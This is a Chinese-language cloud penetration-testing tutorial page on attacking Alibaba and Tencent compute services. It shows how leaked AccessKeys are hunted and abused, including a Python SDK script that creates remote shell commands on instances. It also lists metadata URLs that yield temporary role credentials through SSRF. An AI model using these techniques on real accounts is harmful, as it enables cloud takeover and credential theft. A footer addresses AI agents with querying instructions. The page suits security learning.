# 弹性计算服务攻防

{% hint style="warning" %}
内容过时，不再适应当前环境， Time：2023.11.5\
研究一些新的内容暂不对外
{% endhint %}

* &#x20;阅读产品文档、阅读架构文档、了解相关操作手册，了解产品功能模块
* &#x20;常规渗透一样子域名查找、端口扫描、目录扫描、指纹识别等，在查找的过程中留意AccessKey等密钥，会在APK文件、Github关键词、Web页面、JS文件、常规配置文件
* &#x20;云主机的应用漏洞（SSRF、RCE、本地文件读取等常规漏洞）
* &#x20;云产品的默认配置
  * &#x20;OSS文件存储服务，默认设置为开放，导致文件任意下载
  * &#x20;端口默认对外0.0.0.0/0公网开放

#### AccessKey泄漏利用 <a href="#toc1461089523" id="toc1461089523"></a>

渗透场景：

* &#x20;APK文件中存放Access Key；
* &#x20;Web页面/JS文件/phpinfo等;
* &#x20;Github查找目标关键字发现AccessKey与AccessKey Secret；
* &#x20;拥有WebShell低权限的情况下搜集阿里云Access Key利用；&#x20;

<figure><img src="/files/6b8dzZrMOojyYkjyZMkx" alt=""><figcaption></figcaption></figure>

使用行云管家直接导入，获取OSS数据：

<figure><img src="/files/PBLKkfig9sAJbhR7SIMe" alt=""><figcaption></figcaption></figure>

可直接获取阿里云主机进行重置密码等操作：

<figure><img src="/files/66fH52AAvmbOS7rqZOhA" alt=""><figcaption></figcaption></figure>

#### OpenAPI Explorer调用 <a href="#toc56109616" id="toc56109616"></a>

在线API调用操作：

```
https://api.aliyun.com/#/?product=Ecs&api=DescribeRegions
```

调用CreateCommand新建一条云助手命令，[CreateCommand.py](http://createcommand.py/)

Name随便写

Type类型：

可以创建以下类型的命令：

* &#x20;Windows实例适用的Bat脚本（RunBatScript）
* &#x20;Windows实例适用的PowerShell脚本（RunPowerShellScript）
* &#x20;Linux实例适用的Shell脚本（RunShellScriptCommandContent

该参数的值必须使用Base64编码后传输，且脚本内容的大小在Base64编码之后不能超过16KB。

```bash
#!/usr/bin/env python
#coding=utf-8
 
from aliyunsdkcore.client import AcsClient
from aliyunsdkcore.acs_exception.exceptions import ClientException
from aliyunsdkcore.acs_exception.exceptions import ServerException
from aliyunsdkecs.request.v20140526.CreateCommandRequest import CreateCommandRequest
client = AcsClient('<accessKeyId>', '<accessSecret>', 'cn-beijing')
request = CreateCommandRequest()
request.set_accept_format('json')
request.set_Name("test1")
request.set_Type("RunShellScript")
request.set_CommandContent("aWZjb25maWc=")
response = client.do_action_with_exception(request)
# python2: print(response)
print(str(response, encoding='utf-8
```

常用脚本：

* &#x20;DescribeSecurityGroups

查询您创建的安全组的基本信息，例如安全组ID和安全组描述等。返回列表按照安全组ID降序排列。

* &#x20;DescribeCommands        &#x20;

查询您已经创建的云助手命令

* &#x20;DescribeRegions         &#x20;

查询您可以使用的阿里云地域。

* &#x20;DescribeInstances       &#x20;

查询一台或多台ECS实例的详细信息。

* &#x20;GetInstanceConsoleOutput&#x20;

获取一台实例的系统命令行输出，数据以Base64编码后返回。

* &#x20;DescribeSnapshotPackage &#x20;

查询您在一个阿里云地域下已经购买的对象存储OSS存储包，存储包可以用于抵扣快照存储容量。

* GetInstanceScreenshot   &#x20;

获取实例的截屏信息。

* &#x20;ExportImage             &#x20;

导出您的自定义镜像到与该自定义镜像同一地域的OSS Bucket

* &#x20;InvokeCommand           &#x20;

为一台或多台ECS实例触发一条云助手命令。

* &#x20;RunCommand              &#x20;

#### 图形化操作 <a href="#toc288995079" id="toc288995079"></a>

无脑操作【推荐】

<https://github.com/mrknow001/aliyun-accesskey-Tools>

<figure><img src="/files/F7WvZsJKH16UclOhbl3P" alt=""><figcaption></figcaption></figure>

#### SSRF查看实例元数据 <a href="#toc1679766886" id="toc1679766886"></a>

实例元数据是云服务器（如亚马逊 AWS 云、阿里云、腾讯云等）提供的一种特殊的 Web 服务，它允许云服务器上的实例在内部网络内查询它们的元数据，例如它们的内网 IP 地址、安全组、密钥对等信息。可以结合SSRF漏洞一起使用。

<https://cloud.tencent.com/document/product/213/4934>

```bash
http://metadata.tencentyun.com/latest/meta-data/  
```

```bash
获取 metadata 版本信息。
查询实例元数据。
 
http://metadata.tencentyun.com/latest/meta-data/placement/region
获取实例物理所在地信息。
 
http://metadata.tencentyun.com/latest/meta-data/local-ipv4
获取实例内网 IP。实例存在多张网卡时，返回 eth0 设备的网络地址。
 
http://metadata.tencentyun.com/latest/meta-data/public-ipv4
获取实例公网 IP。
 
http://metadata.tencentyun.com/network/interfaces/macs/${mac}/vpc-id
实例网络接口 VPC 网络 ID。
 
在获取到角色名称后，可以通过以下链接取角色的临时凭证，${role-name} 为CAM 角色的名称：
http://metadata.tencentyun.com/latest/meta-data/cam/security-credentials/${role-name}
```

&#x20;


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://lzcloudsecurity.gitbook.io/yun-an-quan-gong-fang-ru-men/di-si-zhang-gong-you-yun-gong-fang/tan-xing-ji-suan-fu-wu-gong-fang.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
